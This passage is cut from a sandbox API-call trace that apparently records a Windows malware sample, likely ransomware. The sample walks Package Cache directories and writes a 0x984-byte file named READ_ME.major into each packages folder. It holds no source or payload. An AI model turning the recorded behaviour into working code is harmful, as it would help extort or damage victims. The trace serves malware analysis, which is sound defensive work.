| out: hHeap=0x570000) returned 1 [0152.467] GetLastError () returned 0x0 [0152.467] SetLastError (dwErrCode=0x0) [0152.467] GetLastError () returned 0x0 [0152.467] SetLastError (dwErrCode=0x0) [0152.467] GetLastError () returned 0x0 [0152.467] SetLastError (dwErrCode=0x0) [0152.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.467] FindNextFileW (in: hFindFile=0x631080, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10e0 | out: hHeap=0x570000) returned 1 [0152.467] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630d80 [0152.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0152.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0152.468] GetLastError () returned 0x12 [0152.468] SetLastError (dwErrCode=0x12) [0152.468] GetLastError () returned 0x12 [0152.468] SetLastError (dwErrCode=0x12) [0152.468] GetLastError () returned 0x12 [0152.468] SetLastError (dwErrCode=0x12) [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630dc0 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630dc0 | out: hHeap=0x570000) returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.468] FindNextFileW (in: hFindFile=0x630d80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.468] GetLastError () returned 0x12 [0152.468] SetLastError (dwErrCode=0x12) [0152.468] GetLastError () returned 0x12 [0152.468] SetLastError (dwErrCode=0x12) [0152.468] GetLastError () returned 0x12 [0152.468] SetLastError (dwErrCode=0x12) [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0152.468] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630dc0 [0152.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630dc0 | out: hHeap=0x570000) returned 1 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.469] FindNextFileW (in: hFindFile=0x630d80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.469] GetLastError () returned 0x12 [0152.469] SetLastError (dwErrCode=0x12) [0152.469] GetLastError () returned 0x12 [0152.469] SetLastError (dwErrCode=0x12) [0152.469] GetLastError () returned 0x12 [0152.469] SetLastError (dwErrCode=0x12) [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1a0 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1e0 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e70 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ef8 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.469] GetLastError () returned 0x12 [0152.469] SetLastError (dwErrCode=0x12) [0152.469] GetLastError () returned 0x12 [0152.469] SetLastError (dwErrCode=0x12) [0152.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bf3d8 [0152.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ef8 | out: hHeap=0x570000) returned 1 [0152.469] GetLastError () returned 0x12 [0152.469] SetLastError (dwErrCode=0x12) [0152.470] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60f990 [0152.470] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x660 [0152.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f990 | out: hHeap=0x570000) returned 1 [0152.470] WriteFile (in: hFile=0x660, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.471] CloseHandle (hObject=0x660) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.471] FindNextFileW (in: hFindFile=0x630d80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0728 | out: hHeap=0x570000) returned 1 [0152.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0152.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0152.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0bd8 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0152.471] GetLastError () returned 0x0 [0152.471] SetLastError (dwErrCode=0x0) [0152.471] GetLastError () returned 0x0 [0152.471] SetLastError (dwErrCode=0x0) [0152.471] GetLastError () returned 0x0 [0152.471] SetLastError (dwErrCode=0x0) [0152.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.471] FindNextFileW (in: hFindFile=0x630d80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.471] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa6f8 | out: hHeap=0x570000) returned 1 [0152.471] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0152.471] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630dc0 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0bd8 | out: hHeap=0x570000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a38 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a38 | out: hHeap=0x570000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0152.472] GetLastError () returned 0x12 [0152.472] SetLastError (dwErrCode=0x12) [0152.472] GetLastError () returned 0x12 [0152.472] SetLastError (dwErrCode=0x12) [0152.472] GetLastError () returned 0x12 [0152.472] SetLastError (dwErrCode=0x12) [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e00 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e00 | out: hHeap=0x570000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.472] FindNextFileW (in: hFindFile=0x630dc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0152.472] GetLastError () returned 0x12 [0152.472] SetLastError (dwErrCode=0x12) [0152.472] GetLastError () returned 0x12 [0152.473] SetLastError (dwErrCode=0x12) [0152.473] GetLastError () returned 0x12 [0152.473] SetLastError (dwErrCode=0x12) [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631000 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631000 | out: hHeap=0x570000) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.473] FindNextFileW (in: hFindFile=0x630dc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d08 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d08 | out: hHeap=0x570000) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0a48 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.473] GetLastError () returned 0x12 [0152.473] SetLastError (dwErrCode=0x12) [0152.473] GetLastError () returned 0x12 [0152.473] SetLastError (dwErrCode=0x12) [0152.473] GetLastError () returned 0x12 [0152.473] SetLastError (dwErrCode=0x12) [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0bd8 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0152.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0152.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0152.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0152.474] GetLastError () returned 0x12 [0152.474] SetLastError (dwErrCode=0x12) [0152.474] GetLastError () returned 0x12 [0152.474] SetLastError (dwErrCode=0x12) [0152.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bf3d8 [0152.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.474] GetLastError () returned 0x12 [0152.474] SetLastError (dwErrCode=0x12) [0152.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0152.474] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664 [0152.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0152.474] WriteFile (in: hFile=0x664, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.475] CloseHandle (hObject=0x664) returned 1 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.475] FindNextFileW (in: hFindFile=0x630dc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a48 | out: hHeap=0x570000) returned 1 [0152.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0152.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0152.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.475] GetLastError () returned 0x0 [0152.475] SetLastError (dwErrCode=0x0) [0152.475] GetLastError () returned 0x0 [0152.475] SetLastError (dwErrCode=0x0) [0152.475] GetLastError () returned 0x0 [0152.475] SetLastError (dwErrCode=0x0) [0152.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0152.475] FindNextFileW (in: hFindFile=0x630dc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x158ec7fb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x158ec7fb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158ec7fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0152.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0152.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0152.476] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2e3fb24 | 